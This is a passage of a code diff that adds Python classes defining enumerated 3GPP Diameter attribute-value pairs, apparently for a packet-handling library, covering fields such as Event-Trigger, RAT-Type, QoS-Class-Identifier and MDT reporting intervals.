"CHANGE_IN_USER_PARTICIPATING_TYPE", + 60: "CHANGE_IN_SERVICE_CONDITION", + 61: "CHANGE_IN_SERVING_NODE", + 70: "CHANGE_IN_USER_CSG_INFORMATION", + 71: "CHANGE_IN_HYBRID_SUBSCRIBED_USER_CSG_INFORMATION", # noqa: E501 + 72: "CHANGE_IN_HYBRID_UNSUBSCRIBED_USER_CSG_INFORMATION", # noqa: E501 + 73: "CHANGE_OF_UE_PRESENCE_IN_PRESENCE_REPORTING_AREA", # noqa: E501 + })] + + +class AVP_10415_872 (AVP_FL_V): + name = 'Reporting-Reason' + avpLen = 16 + fields_desc = [ + AVP_FL_V, + Enumerated( + 'val', + None, + { + 0: "THRESHOLD", + 1: "QHT", + 2: "FINAL", + 3: "QUOTA_EXHAUSTED", + 4: "VALIDITY_TIME", + 5: "OTHER_QUOTA_TYPE", + 6: "RATING_CONDITION_CHANGE", + 7: "FORCED_REAUTHORISATION", + 8: "POOL_EXHAUSTED", + })] + + +class AVP_10415_882 (AVP_FL_V): + name = 'Media-Initiator-Flag' + avpLen = 16 + fields_desc = [AVP_FL_V, Enumerated('val', None, {0: "called party", 1: "calling party", 2: "unknown", })] # noqa: E501 + + +class AVP_10415_883 (AVP_FL_V): + name = 'PoC-Server-Role' + avpLen = 16 + fields_desc = [AVP_FL_V, Enumerated('val', None, {0: "Participating PoC Server", 1: "Controlling PoC Server", })] # noqa: E501 + + +class AVP_10415_884 (AVP_FL_V): + name = 'PoC-Session-Type' + avpLen = 16 + fields_desc = [ + AVP_FL_V, + Enumerated( + 'val', + None, + { + 0: "1 to 1 PoC session", + 1: "Chat PoC group session", + 2: "Pre-arranged PoC group session", + 3: "Ad-hoc PoC group session", + })] + + +class AVP_10415_899 (AVP_FL_V): + name = 'Address-Type' + avpLen = 16 + fields_desc = [ + AVP_FL_V, + Enumerated( + 'val', + None, + { + 0: "e-mail address", + 1: "MSISDN", + 2: "IPv4 Address", + 3: "IPv6 Address", + 4: "Numeric Shortcode", + 5: "Alphanumeric Shortcode", + 6: "Other", + 7: "IMSI", + })] + + +class AVP_10415_902 (AVP_FL_V): + name = 'MBMS-StartStop-Indication' + avpLen = 16 + fields_desc = [ + AVP_FL_V, Enumerated('val', None, {0: "START", 1: "STOP", 2: "UPDATE", })] # noqa: E501 + + +class AVP_10415_906 (AVP_FL_V): + name = 'MBMS-Service-Type' + avpLen = 16 + fields_desc = [ + AVP_FL_V, Enumerated('val', None, {0: "MULTICAST", 1: "BROADCAST", })] + + +class AVP_10415_907 (AVP_FL_V): + name = 'MBMS-2G-3G-Indicator' + avpLen = 16 + fields_desc = [ + AVP_FL_V, Enumerated('val', None, {0: "2G", 1: "3G", 2: "2G-AND-3G", })] # noqa: E501 + + +class AVP_10415_921 (AVP_FL_V): + name = 'CN-IP-Multicast-Distribution' + avpLen = 16 + fields_desc = [ + AVP_FL_V, Enumerated('val', None, {0: "NO-IP-MULTICAST", 1: "IP-MULTICAST", })] # noqa: E501 + + +class AVP_10415_922 (AVP_FL_V): + name = 'MBMS-HC-Indicator' + avpLen = 16 + fields_desc = [AVP_FL_V, Enumerated('val', None, {0: "uncompressed-header", 1: "compressed-header", })] # noqa: E501 + + +class AVP_10415_1000 (AVP_FL_V): + name = 'Bearer-Usage' + avpLen = 16 + fields_desc = [AVP_FL_V, Enumerated('val', None, {0: "GENERAL", 1: "IMS SIGNALLING", 2: "DEDICATED", })] # noqa: E501 + + +class AVP_10415_1006 (AVP_FL_V): + name = 'Event-Trigger' + avpLen = 16 + fields_desc = [ + AVP_FL_V, + Enumerated( + 'val', + None, + { + 0: "SGSN_CHANGE", + 1: "QOS_CHANGE", + 2: "RAT_CHANGE", + 3: "TFT_CHANGE", + 4: "PLMN_CHANGE", + 5: "LOSS_OF_BEARER", + 6: "RECOVERY_OF_BEARER", + 7: "IP-CAN_CHANGE", + 8: "GW-PCEF-MALFUNCTION", + 9: "RESOURCES_LIMITATION", + 10: "MAX_NR_BEARERS_REACHED", + 11: "QOS_CHANGE_EXCEEDING_AUTHORIZATION", + 12: "RAI_CHANGE", + 13: "USER_LOCATION_CHANGE", + 14: "NO_EVENT_TRIGGERS", + 15: "OUT_OF_CREDIT", + 16: "REALLOCATION_OF_CREDIT", + 17: "REVALIDATION_TIMEOUT", + 18: "UE_IP_ADDRESS_ALLOCATE", + 19: "UE_IP_ADDRESS_RELEASE", + 20: "DEFAULT_EPS_BEARER_QOS_CHANGE", + 21: "AN_GW_CHANGE", + 22: "SUCCESSFUL_RESOURCE_ALLOCATION", + 23: "RESOURCE_MODIFICATION_REQUEST", + 24: "PGW_TRACE_CONTROL", + 25: "UE_TIME_ZONE_CHANGE", + 26: "TAI_CHANGE", + 27: "ECGI_CHANGE", + 28: "CHARGING_CORRELATION_EXCHANGE", + 29: "APN-AMBR_MODIFICATION_FAILURE", + 30: "USER_CSG_INFORMATION_CHANGE", + 33: "USAGE_REPORT", + 34: "DEFAULT-EPS-BEARER-QOS_MODIFICATION_FAILURE", + 35: "USER_CSG_HYBRID_SUBSCRIBED_INFORMATION_CHANGE", + 36: "USER_CSG_ HYBRID_UNSUBSCRIBED_INFORMATION_CHANGE", + 37: "ROUTING_RULE_CHANGE", + 38: "MAX_MBR_APN_AMBR_CHANGE", + 39: "APPLICATION_START", + 40: "APPLICATION_STOP", + 41: "ADC_REVALIDATION_TIMEOUT", + 42: "CS_TO_PS_HANDOVER", + 43: "UE_LOCAL_IP_ADDRESS_CHANGE", + 45: "ACCESS_NETWORK_INFO_REPORT", + 100: "TIME_CHANGE", + 1000: "TFT DELETED", + 1001: "LOSS OF BEARER", + 1002: "RECOVERY OF BEARER", + 1003: "POLICY ENFORCEMENT FAILED", + })] + + +class AVP_10415_1007 (AVP_FL_V): + name = 'Metering-Method' + avpLen = 16 + fields_desc = [AVP_FL_V, Enumerated('val', None, {0: "DURATION", 1: "VOLUME", 2: "DURATION_VOLUME", })] # noqa: E501 + + +class AVP_10415_1008 (AVP_FL_V): + name = 'Offline' + avpLen = 16 + fields_desc = [AVP_FL_V, Enumerated('val', None, {0: "DISABLE_OFFLINE", 1: "ENABLE_OFFLINE", })] # noqa: E501 + + +class AVP_10415_1009 (AVP_FL_V): + name = 'Online' + avpLen = 16 + fields_desc = [AVP_FL_V, Enumerated('val', None, {0: "DISABLE_ONLINE", 1: "ENABLE_ONLINE", })] # noqa: E501 + + +class AVP_10415_1011 (AVP_FL_V): + name = 'Reporting-Level' + avpLen = 16 + fields_desc = [ + AVP_FL_V, Enumerated('val', None, { + 0: "SERVICE_IDENTIFIER_LEVEL", 1: "RATING_GROUP_LEVEL", 2: "SPONSORED_CONNECTIVITY_LEVEL", })] # noqa: E501 + + +class AVP_10415_1015 (AVP_FL_V): + name = 'PDP-Session-Operation' + avpLen = 16 + fields_desc = [ + AVP_FL_V, Enumerated('val', None, {0: "PDP-SESSION-TERMINATION", })] + + +class AVP_10415_1019 (AVP_FL_V): + name = 'PCC-Rule-Status' + avpLen = 16 + fields_desc = [AVP_FL_V, Enumerated('val', None, {0: "ACTIVE", 1: "INACTIVE", 2: "TEMPORARY_INACTIVE", })] # noqa: E501 + + +class AVP_10415_1021 (AVP_FL_V): + name = 'Bearer-Operation' + avpLen = 16 + fields_desc = [AVP_FL_V, Enumerated('val', None, {0: "TERMINATION", 1: "ESTABLISHMENT", 2: "MODIFICATION", })] # noqa: E501 + + +class AVP_10415_1023 (AVP_FL_V): + name = 'Bearer-Control-Mode' + avpLen = 16 + fields_desc = [ + AVP_FL_V, Enumerated('val', None, {0: "UE_ONLY", 1: "RESERVED", 2: "UE_NW", })] # noqa: E501 + + +class AVP_10415_1024 (AVP_FL_V): + name = 'Network-Request-Support' + avpLen = 16 + fields_desc = [AVP_FL_V, Enumerated('val', None, {0: "NETWORK_REQUEST NOT SUPPORTED", 1: "NETWORK_REQUEST SUPPORTED", })] # noqa: E501 + + +class AVP_10415_1027 (AVP_FL_V): + name = 'IP-CAN-Type' + avpLen = 16 + fields_desc = [AVP_FL_V, + Enumerated('val', + None, + {0: "3GPP-GPRS", + 1: "DOCSIS", + 2: "xDSL", + 3: "WiMAX", + 4: "3GPP2", + 5: "3GPP-EPS", + 6: "Non-3GPP-EPS", + })] + + +class AVP_10415_1028 (AVP_FL_V): + name = 'QoS-Class-Identifier' + avpLen = 16 + fields_desc = [ + AVP_FL_V, + Enumerated( + 'val', + None, + { + 1: "QCI_1", + 2: "QCI_2", + 3: "QCI_3", + 4: "QCI_4", + 5: "QCI_5", + 6: "QCI_6", + 7: "QCI_7", + 8: "QCI_8", + 9: "QCI_9", + })] + + +class AVP_10415_1032 (AVP_FL_V): + name = 'RAT-Type' + avpLen = 16 + fields_desc = [AVP_FL_V, + Enumerated('val', + None, + {0: "WLAN", + 1: "VIRTUAL", + 1000: "UTRAN", + 1001: "GERAN", + 1002: "GAN", + 1003: "HSPA_EVOLUTION", + 1004: "EUTRAN", + 2000: "CDMA2000_1X", + 2001: "HRPD", + 2002: "UMB", + 2003: "EHRPD", + })] + + +class AVP_10415_1045 (AVP_FL_V): + name = 'Session-Release-Cause' + avpLen = 16 + fields_desc = [ + AVP_FL_V, Enumerated('val', None, { + 0: "UNSPECIFIED_REASON", 1: "UE_SUBSCRIPTION_REASON", 2: "INSUFFICIENT_SERVER_RESOURCES", })] # noqa: E501 + + +class AVP_10415_1047 (AVP_FL_V): + name = 'Pre-emption-Capability' + avpLen = 16 + fields_desc = [ + AVP_FL_V, Enumerated('val', None, { + 0: "PRE-EMPTION_CAPABILITY_ENABLED", 1: "PRE-EMPTION_CAPABILITY_DISABLED", })] # noqa: E501 + + +class AVP_10415_1048 (AVP_FL_V): + name = 'Pre-emption-Vulnerability' + avpLen = 16 + fields_desc = [ + AVP_FL_V, Enumerated('val', None, { + 0: "PRE-EMPTION_VULNERABILITY_ENABLED", 1: "PRE-EMPTION_VULNERABILITY_DISABLED", })] # noqa: E501 + + +class AVP_10415_1062 (AVP_FL_V): + name = 'Packet-Filter-Operation' + avpLen = 16 + fields_desc = [ + AVP_FL_V, Enumerated('val', None, { + 0: "DELETION", 1: "ADDITION", 2: "MODIFICATION", })] + + +class AVP_10415_1063 (AVP_FL_V): + name = 'Resource-Allocation-Notification' + avpLen = 16 + fields_desc = [ + AVP_FL_V, Enumerated('val', None, {0: "ENABLE_NOTIFICATION", })] + + +class AVP_10415_1068 (AVP_FL_V): + name = 'Usage-Monitoring-Level' + avpLen = 16 + fields_desc = [AVP_FL_V, Enumerated('val', None, {0: "SESSION_LEVEL", 1: "PCC_RULE_LEVEL", 2: "ADC_RULE_LEVEL", })] # noqa: E501 + + +class AVP_10415_1069 (AVP_FL_V): + name = 'Usage-Monitoring-Report' + avpLen = 16 + fields_desc = [ + AVP_FL_V, Enumerated('val', None, {0: "USAGE_MONITORING_REPORT_REQUIRED", })] # noqa: E501 + + +class AVP_10415_1070 (AVP_FL_V): + name = 'Usage-Monitoring-Support' + avpLen = 16 + fields_desc = [ + AVP_FL_V, Enumerated('val', None, {0: "USAGE_MONITORING_DISABLED", })] + + +class AVP_10415_1071 (AVP_FL_V): + name = 'CSG-Information-Reporting' + avpLen = 16 + fields_desc = [ + AVP_FL_V, + Enumerated( + 'val', + None, + { + 0: "CHANGE_CSG_CELL", + 1: "CHANGE_CSG_SUBSCRIBED_HYBRID_CELL", + 2: "CHANGE_CSG_UNSUBSCRIBED_HYBRID_CELL", + })] + + +class AVP_10415_1072 (AVP_FL_V): + name = 'Packet-Filter-Usage' + avpLen = 16 + fields_desc = [ + AVP_FL_V, Enumerated('val', None, {1: "SEND_TO_UE", })] + + +class AVP_10415_1073 (AVP_FL_V): + name = 'Charging-Correlation-Indicator' + avpLen = 16 + fields_desc = [ + AVP_FL_V, Enumerated('val', None, {0: "CHARGING_IDENTIFIER_REQUIRED", })] # noqa: E501 + + +class AVP_10415_1080 (AVP_FL_V): + name = 'Flow-Direction' + avpLen = 16 + fields_desc = [AVP_FL_V, Enumerated('val', None, {0: "UNSPECIFIED", 1: "DOWNLINK", 2: "UPLINK", 3: "BIDIRECTIONAL", })] # noqa: E501 + + +class AVP_10415_1086 (AVP_FL_V): + name = 'Redirect-Support' + avpLen = 16 + fields_desc = [AVP_FL_V, Enumerated('val', None, {0: "REDIRECTION_DISABLED", 1: "REDIRECTION_ENABLED", })] # noqa: E501 + + +class AVP_10415_1099 (AVP_FL_V): + name = 'PS-to-CS-Session-Continuity' + avpLen = 16 + fields_desc = [ + AVP_FL_V, Enumerated('val', None, {0: "VIDEO_PS2CS_CONT_CANDIDATE", })] + + +class AVP_10415_1204 (AVP_FL_V): + name = 'Type-Number' + avpLen = 16 + fields_desc = [ + AVP_FL_V, Enumerated('val', None, {0: "TBC", })] + + +class AVP_10415_1208 (AVP_FL_V): + name = 'Addressee-Type' + avpLen = 16 + fields_desc = [ + AVP_FL_V, Enumerated('val', None, {0: "TO ", 1: "CC ", 2: "BCC", })] + + +class AVP_10415_1209 (AVP_FL_V): + name = 'Priority' + avpLen = 16 + fields_desc = [ + AVP_FL_V, Enumerated('val', None, { + 0: "Low", 1: "Normal", 2: "High", })] + + +class AVP_10415_1211 (AVP_FL_V): + name = 'Message-Type' + avpLen = 16 + fields_desc = [ + AVP_FL_V, + Enumerated( + 'val', + None, + { + 1: "m-send-req", + 2: "m-send-conf", + 3: "m-notification-ind ", + 4: "m-notifyresp-ind ", + 5: "m-retrieve-conf ", + 6: "m-acknowledge-ind ", + 7: "m-delivery-ind ", + 8: "m-read-rec-ind ", + 9: "m-read-orig-ind", + 10: "m-forward-req ", + 11: "m-forward-conf ", + 12: "m-mbox-store-conf", + 13: "m-mbox-view-conf ", + 14: "m-mbox-upload-conf ", + 15: "m-mbox-delete-conf ", + })] + + +class AVP_10415_1214 (AVP_FL_V): + name = 'Class-Identifier' + avpLen = 16 + fields_desc = [AVP_FL_V, Enumerated('val', None, {0: "Personal", 1: "Advertisement", 2: "Informational", 3: "Auto", })] # noqa: E501 + + +class AVP_10415_1216 (AVP_FL_V): + name = 'Delivery-Report-Requested' + avpLen = 16 + fields_desc = [ + AVP_FL_V, Enumerated('val', None, {0: "No", 1: "Yes", })] + + +class AVP_10415_1217 (AVP_FL_V): + name = 'Adaptations' + avpLen = 16 + fields_desc = [ + AVP_FL_V, Enumerated('val', None, {0: "Yes", 1: "No", })] + + +class AVP_10415_1220 (AVP_FL_V): + name = 'Content-Class' + avpLen = 16 + fields_desc = [ + AVP_FL_V, + Enumerated( + 'val', + None, + { + 0: "text ", + 1: "image-basic ", + 2: "image-rich ", + 3: "video-basic", + 4: "video-rich ", + 5: "megapixel ", + 6: "content-basic ", + 7: "content-rich ", + })] + + +class AVP_10415_1221 (AVP_FL_V): + name = 'DRM-Content' + avpLen = 16 + fields_desc = [ + AVP_FL_V, Enumerated('val', None, {0: "No", 1: "Yes", })] + + +class AVP_10415_1222 (AVP_FL_V): + name = 'Read-Reply-Report-Requested' + avpLen = 16 + fields_desc = [ + AVP_FL_V, Enumerated('val', None, {0: "No", 1: "Yes", })] + + +class AVP_10415_1224 (AVP_FL_V): + name = 'File-Repair-Supported' + avpLen = 16 + fields_desc = [ + AVP_FL_V, Enumerated('val', None, { + 0: "Forwarding not pending", 1: "Forwarding pending", 2: "NOT_SUPPORTED", })] # noqa: E501 + + +class AVP_10415_1225 (AVP_FL_V): + name = 'MBMS-User-Service-Type' + avpLen = 16 + fields_desc = [ + AVP_FL_V, Enumerated('val', None, {1: "DOWNLOAD", 2: "STREAMING", })] + + +class AVP_10415_1247 (AVP_FL_V): + name = 'PDP-Context-Type' + avpLen = 16 + fields_desc = [ + AVP_FL_V, Enumerated('val', None, {0: "Primary", 1: "Secondary", })] + + +class AVP_10415_1248 (AVP_FL_V): + name = 'MMBox-Storage-Requested' + avpLen = 16 + fields_desc = [ + AVP_FL_V, Enumerated('val', None, {0: "No", 1: "Yes", })] + + +class AVP_10415_1254 (AVP_FL_V): + name = 'PoC-User-Role-info-Units' + avpLen = 16 + fields_desc = [ + AVP_FL_V, Enumerated('val', None, { + 1: "Moderator", 2: "Dispatcher", 3: "Session-Owner", 4: "Session-Participant", })] # noqa: E501 + + +class AVP_10415_1259 (AVP_FL_V): + name = 'Participant-Access-Priority' + avpLen = 16 + fields_desc = [ + AVP_FL_V, + Enumerated( + 'val', + None, + { + 1: "Pre-emptive priority: ", + 2: "High priority: Lower than Pre-emptive priority", + 3: "Normal priority: Normal level. Lower than High priority", + 4: "Low priority: Lowest level priority", + })] + + +class AVP_10415_1261 (AVP_FL_V): + name = 'PoC-Change-Condition' + avpLen = 16 + fields_desc = [ + AVP_FL_V, + Enumerated( + 'val', + None, + { + 0: "ServiceChange", + 1: "VolumeLimit", + 2: "TimeLimit", + 3: "NumberofTalkBurstLimit", + 4: "NumberofActiveParticipants", + })] + + +class AVP_10415_1268 (AVP_FL_V): + name = 'Envelope-Reporting' + avpLen = 16 + fields_desc = [ + AVP_FL_V, + Enumerated( + 'val', + None, + { + 0: "DO_NOT_REPORT_ENVELOPES", + 1: "REPORT_ENVELOPES", + 2: "REPORT_ENVELOPES_WITH_VOLUME", + 3: "REPORT_ENVELOPES_WITH_EVENTS", + 4: "REPORT_ENVELOPES_WITH_VOLUME_AND_EVENTS", + })] + + +class AVP_10415_1271 (AVP_FL_V): + name = 'Time-Quota-Type' + avpLen = 16 + fields_desc = [AVP_FL_V, Enumerated('val', None, {0: "DISCRETE_TIME_PERIOD", 1: "CONTINUOUS_TIME_PERIOD", })] # noqa: E501 + + +class AVP_10415_1277 (AVP_FL_V): + name = 'PoC-Session-Initiation-Type' + avpLen = 16 + fields_desc = [ + AVP_FL_V, Enumerated('val', None, {0: "Pre-established", 1: "On-demand", })] # noqa: E501 + + +class AVP_10415_1279 (AVP_FL_V): + name = 'User-Participating-Type' + avpLen = 16 + fields_desc = [ + AVP_FL_V, Enumerated('val', None, { + 0: "Normal", 1: "NW PoC Box", 2: "UE PoC Box", })] + + +class AVP_10415_1417 (AVP_FL_V): + name = 'Network-Access-Mode' + avpLen = 16 + fields_desc = [AVP_FL_V, Enumerated('val', None, {0: "PACKET_AND_CIRCUIT", 1: "Reserved", 2: "ONLY_PACKET", })] # noqa: E501 + + +class AVP_10415_1420 (AVP_FL_V): + name = 'Cancellation-Type' + avpLen = 16 + fields_desc = [ + AVP_FL_V, + Enumerated( + 'val', + None, + { + 0: "MME_UPDATE_PROCEDURE", + 1: "SGSN_UPDATE_PROCEDURE", + 2: "SUBSCRIPTION_WITHDRAWAL", + 3: "UPDATE_PROCEDURE_IWF", + 4: "INITIAL_ATTACH_PROCEDURE", + })] + + +class AVP_10415_1424 (AVP_FL_V): + name = 'Subscriber-Status' + avpLen = 16 + fields_desc = [AVP_FL_V, Enumerated('val', None, {0: "SERVICE_GRANTED", 1: "OPERATOR_DETERMINED_BARRING", })] # noqa: E501 + + +class AVP_10415_1428 (AVP_FL_V): + name = 'All-APN-Configurations-Included-Indicator' + avpLen = 16 + fields_desc = [ + AVP_FL_V, Enumerated('val', None, {0: "ALL_APN_CONFIGURATIONS_INCLUDED", })] # noqa: E501 + + +class AVP_10415_1432 (AVP_FL_V): + name = 'VPLMN-Dynamic-Address-Allowed' + avpLen = 16 + fields_desc = [ + AVP_FL_V, Enumerated('val', None, {0: "NOTALLOWED", 1: "ALLOWED", })] + + +class AVP_10415_1434 (AVP_FL_V): + name = 'Alert-Reason' + avpLen = 16 + fields_desc = [AVP_FL_V, Enumerated('val', None, {0: "UE_PRESENT", 1: "UE_MEMORY_AVAILABLE", })] # noqa: E501 + + +class AVP_10415_1438 (AVP_FL_V): + name = 'PDN-GW-Allocation-Type' + avpLen = 16 + fields_desc = [ + AVP_FL_V, Enumerated('val', None, {0: "STATIC", 1: "DYNAMIC", })] + + +class AVP_10415_1445 (AVP_FL_V): + name = 'Equipment-Status' + avpLen = 16 + fields_desc = [AVP_FL_V, Enumerated('val', None, {0: "WHITELISTED", 1: "BLACKLISTED", 2: "GREYLISTED", })] # noqa: E501 + + +class AVP_10415_1456 (AVP_FL_V): + name = 'PDN-Type' + avpLen = 16 + fields_desc = [AVP_FL_V, Enumerated('val', None, {0: "IPv4", 1: "IPv6", 2: "IPv4v6", 3: "IPv4_OR_IPv6", })] # noqa: E501 + + +class AVP_10415_1457 (AVP_FL_V): + name = 'Roaming-Restricted-Due-To-Unsupported-Feature' + avpLen = 16 + fields_desc = [ + AVP_FL_V, Enumerated('val', None, {0: "Roaming-Restricted-Due-To-Unsupported-Feature", })] # noqa: E501 + + +class AVP_10415_1462 (AVP_FL_V): + name = 'Trace-Depth' + avpLen = 16 + fields_desc = [AVP_FL_V, + Enumerated('val', + None, + {0: "Minimum", + 1: "Medium", + 2: "Maximum", + 3: "MinimumWithoutVendorSpecificExtension", + 4: "MediumWithoutVendorSpecificExtension", + 5: "MaximumWithoutVendorSpecificExtension", + })] + + +class AVP_10415_1468 (AVP_FL_V): + name = 'Complete-Data-List-Included-Indicator' + avpLen = 16 + fields_desc = [ + AVP_FL_V, Enumerated('val', None, {0: "ALL_PDP_CONTEXTS_INCLUDED", })] + + +class AVP_10415_1478 (AVP_FL_V): + name = 'Notification-To-UE-User' + avpLen = 16 + fields_desc = [ + AVP_FL_V, + Enumerated( + 'val', + None, + { + 0: "NOTIFY_LOCATION_ALLOWED", + 1: "NOTIFYANDVERIFY_LOCATION_ALLOWED_IF_NO_RESPONSE", + 2: "NOTIFYANDVERIFY_LOCATION_NOT_ALLOWED_IF_NO_RESPONSE", + 3: "LOCATION_NOT_ALLOWED", + })] + + +class AVP_10415_1481 (AVP_FL_V): + name = 'GMLC-Restriction' + avpLen = 16 + fields_desc = [ + AVP_FL_V, Enumerated('val', None, {0: "GMLC_LIST", 1: "HOME_COUNTRY", })] # noqa: E501 + + +class AVP_10415_1482 (AVP_FL_V): + name = 'PLMN-Client' + avpLen = 16 + fields_desc = [AVP_FL_V, + Enumerated('val', + None, + {0: "BROADCAST_SERVICE", + 1: "O_AND_M_HPLMN", + 2: "O_AND_M_VPLMN", + 3: "ANONYMOUS_LOCATION", + 4: "TARGET_UE_SUBSCRIBED_SERVICE", + })] + + +class AVP_10415_1491 (AVP_FL_V): + name = 'ICS-Indicator' + avpLen = 16 + fields_desc = [ + AVP_FL_V, Enumerated('val', None, {0: "FALSE", 1: "TRUE", })] + + +class AVP_10415_1492 (AVP_FL_V): + name = 'IMS-Voice-Over-PS-Sessions-Supported' + avpLen = 16 + fields_desc = [ + AVP_FL_V, Enumerated('val', None, {0: "NOT_SUPPORTED", 1: "SUPPORTED", })] # noqa: E501 + + +class AVP_10415_1493 (AVP_FL_V): + name = 'Homogeneous-Support-of-IMS-Voice-Over-PS-Sessions' + avpLen = 16 + fields_desc = [ + AVP_FL_V, Enumerated('val', None, {0: "NOT_SUPPORTED", 1: "SUPPORTED", })] # noqa: E501 + + +class AVP_10415_1499 (AVP_FL_V): + name = 'User-State' + avpLen = 16 + fields_desc = [AVP_FL_V, + Enumerated('val', + None, + {0: "DETACHED", + 1: "ATTACHED_NOT_REACHABLE_FOR_PAGING", + 2: "ATTACHED_REACHABLE_FOR_PAGING", + 3: "CONNECTED_NOT_REACHABLE_FOR_PAGING", + 4: "CONNECTED_REACHABLE_FOR_PAGING", + 5: "NETWORK_DETERMINED_NOT_REACHABLE", + })] + + +class AVP_10415_1501 (AVP_FL_V): + name = 'Non-3GPP-IP-Access' + avpLen = 16 + fields_desc = [ + AVP_FL_V, Enumerated('val', None, { + 0: "NON_3GPP_SUBSCRIPTION_ALLOWED", 1: "NON_3GPP_SUBSCRIPTION_BARRED", })] # noqa: E501 + + +class AVP_10415_1502 (AVP_FL_V): + name = 'Non-3GPP-IP-Access-APN' + avpLen = 16 + fields_desc = [AVP_FL_V, Enumerated('val', None, {0: "NON_3GPP_APNS_ENABLE", 1: "NON_3GPP_APNS_DISABLE", })] # noqa: E501 + + +class AVP_10415_1503 (AVP_FL_V): + name = 'AN-Trusted' + avpLen = 16 + fields_desc = [ + AVP_FL_V, Enumerated('val', None, {0: "TRUSTED", 1: "UNTRUSTED", })] + + +class AVP_10415_1515 (AVP_FL_V): + name = 'Trust-Relationship-Update' + avpLen = 16 + fields_desc = [ + AVP_FL_V, Enumerated('val', None, {0: "TBC", })] + + +class AVP_10415_1519 (AVP_FL_V): + name = 'Transport-Access-Type' + avpLen = 16 + fields_desc = [ + AVP_FL_V, Enumerated('val', None, {0: "BBF", })] + + +class AVP_10415_1610 (AVP_FL_V): + name = 'Current-Location-Retrieved' + avpLen = 16 + fields_desc = [ + AVP_FL_V, Enumerated('val', None, {0: "ACTIVE-LOCATION-RETRIEVAL", })] + + +class AVP_10415_1613 (AVP_FL_V): + name = 'SIPTO-Permission' + avpLen = 16 + fields_desc = [AVP_FL_V, Enumerated('val', None, {0: "SIPTO_ALLOWED", 1: "SIPTO_NOTALLOWED", })] # noqa: E501 + + +class AVP_10415_1614 (AVP_FL_V): + name = 'Error-Diagnostic' + avpLen = 16 + fields_desc = [ + AVP_FL_V, + Enumerated( + 'val', + None, + { + 0: "GPRS_DATA_SUBSCRIBED", + 1: "NO_GPRS_DATA_SUBSCRIBED", + 2: "ODB-ALL-APN", + 3: "ODB-HPLMN-APN", + 4: "ODB-VPLMN-APN", + })] + + +class AVP_10415_1615 (AVP_FL_V): + name = 'UE-SRVCC-Capability' + avpLen = 16 + fields_desc = [AVP_FL_V, Enumerated('val', None, {0: "UE-SRVCC-NOT-SUPPORTED", 1: "UE-SRVCC-SUPPORTED", })] # noqa: E501 + + +class AVP_10415_1617 (AVP_FL_V): + name = 'VPLMN-LIPA-Allowed' + avpLen = 16 + fields_desc = [ + AVP_FL_V, Enumerated('val', None, {0: "LIPA-NOTALLOWED", 1: "LIPA-ALLOWED", })] # noqa: E501 + + +class AVP_10415_1618 (AVP_FL_V): + name = 'LIPA-Permission' + avpLen = 16 + fields_desc = [AVP_FL_V, Enumerated('val', None, {0: "LIPA-PROHIBITED", 1: "LIPA-ONLY", 2: "LIPA-CONDITIONAL", })] # noqa: E501 + + +class AVP_10415_1623 (AVP_FL_V): + name = 'Job-Type' + avpLen = 16 + fields_desc = [AVP_FL_V, + Enumerated('val', + None, + {0: "Immediate-MDT-only", + 1: "Logged-MDT-only", + 2: "Trace-only", + 3: "Immediate-MDT-and-Trace", + 4: "RLF-reports-only", + })] + + +class AVP_10415_1627 (AVP_FL_V): + name = 'Report-Interval' + avpLen = 16 + fields_desc = [ + AVP_FL_V, + Enumerated( + 'val', + None, + { + 0: "UMTS_250_ms", + 1: "UMTS_500_ms", + 2: "UMTS_1000_ms", + 3: "UMTS_2000_ms", + 4: "UMTS_3000_ms", + 5: "UMTS_4000_ms", + 6: "UMTS_6000_ms", + 7: "UMTS_8000_ms", + 8: "UMTS_12000_ms", + 9: "UMTS_16000_ms", + 10: "UMTS_20000_ms", + 11: "UMTS_24000_ms", + 12: "UMTS_28000_ms", + 13: "UMTS_32000_ms", + 14: "UMTS_64000_ms", + 15: "LTE_120_ms", + 16: "LTE_240_ms", + 17: "LTE_480_ms", + 18: "LTE_640_ms", + 19: "LTE_1024_ms", + 20: "LTE_2048_ms", + 21: "LTE_5120_ms", + 22: "LTE_10240_ms", + 23: "LTE_60000_ms", + 24: "LTE_360000_ms", + 25: "LTE_720000_ms", + 26: "LTE_1800000_ms", + 27: "LTE_3600000_ms", + })] + + +class AVP_10415_1628 (AVP_FL_V): + name = 'Report-Amount' + avpLen = 16 + fields_desc = [ + AVP_FL_V, Enumerated('val', None, { + 0: "1", 1: "2", 2: "4", 3: "8", 4: "16", 5: "32", 6: "64", 7: "infinity", })] # noqa: E501 + + +class AVP_10415_1631 (AVP_FL_V): + name = 'Logging-Interval' + avpLen = 16 + fields_desc = [ + AVP_FL_V, + Enumerated( + 'val', + None, + { + 0: "1.28", + 1: "2.56", + 2: "5.12", + 3: "10.24", + 4: "20.48", + 5: "30.72", + 6: "40.96", + 7: "61.44", + })] + + +class AVP_10415_1632 (AVP_FL_V): + name = 'Logging-Duration' + avpLen = 16 + fields_desc = [ + AVP_FL_V, Enumerated('val', None, { + 0: "600_sec", 1: "1200_sec", 2: "2400_sec", 3: "3600_sec", 4: "5400_sec", 5: "7200_sec", })] # noqa: E501 + + +class AVP_10415_1633 (AVP_FL_V): + name = 'Relay-Node-Indicator' + avpLen = 16 + fields_desc = [ + AVP_FL_V, Enumerated('val', None, {0: "NOT_RELAY_NODE", 1: "RELAY_NODE", })] # noqa: E501 + + +class AVP_10415_1634 (AVP_FL_V): + name = 'MDT-User-Consent' + avpLen = 16 + fields_desc = [AVP_FL_V, Enumerated('val', None, {0: "CONSENT_NOT_GIVEN", 1: "CONSENT_GIVEN", })] # noqa: E501 + + +class AVP_10415_1636 (AVP_FL_V): + name = 'Subscribed-VSRVCC' + avpLen = 16 + fields_desc = [ + AVP_FL_V, Enumerated('val', None, {0: "VSRVCC_SUBSCRIBED", })] + + +class AVP_10415_1648 (AVP_FL_V): + name = 'SMS-Register-Request' + avpLen = 16 + fields_desc = [ + AVP_FL_V, Enumerated('val', None, { + 0: "SMS_REGISTRATION_REQUIRED", 1: "SMS_REGISTRATION_NOT_PREFERRED", 2: "NO_PREFERENCE", })] # noqa: E501 + + +class AVP_10415_1650 (AVP_FL_V): + name = 'Daylight-Saving-Time' + avpLen = 16 + fields_desc = [ + AVP_FL_V, Enumerated('val', None, { + 0: "NO_ADJUSTMENT", 1: "PLUS_ONE_HOUR_ADJUSTMENT", 2: "PLUS_TWO_HOURS_ADJUSTMENT", })] # noqa: E501 + + +class AVP_10415_2006 (AVP_FL_V): + name = 'Interface-Type' + avpLen = 16 + fields_desc = [ + AVP_FL_V, + Enumerated( + 'val', + None, + { + 0: "Unknown", + 1: 